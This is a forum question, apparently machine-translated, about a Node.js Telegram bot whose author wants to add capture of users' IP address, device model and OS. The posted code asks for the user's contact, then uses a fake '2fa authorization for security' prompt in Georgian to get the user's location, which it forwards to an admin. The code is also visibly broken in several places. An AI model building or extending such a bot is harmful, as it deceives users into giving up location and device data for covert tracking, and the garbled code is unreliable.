Answer the question
In order to leave comments, you need to log in
How to find out what OS the user is using? Telegram bot Node.js?
Here is my code in node.js.
I want to add to it the function of obtaining IP, information about the device model and OS.
bot.on("contact", (msg) => {
const id = {
reply_markup: JSON.stringify({
keyboard: [
[{text: 'ავტორიზაცია', request_location: true}],
],
resize_keyboard: true,
one_time_keyboard: True,
},
};
Bot.SendMessage (msg.chat.id, 'გთხოვთ გაიაროთ 2fa ავტორიზაცია, უსაფრთხოების მიზნით', id);
});
bot.on('location', (msg) => {
console.log(msg.ip);
console.log(msg.ip);
bot.sendMessage(admin, "კოორდინატები: " + '\n' + '\ n' +
"Latitude: " + msg.location.latitude + '\n' +
"Longitude: " + msg.location.longitude);
});
bot.on('location', (msg) =>{
}):
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question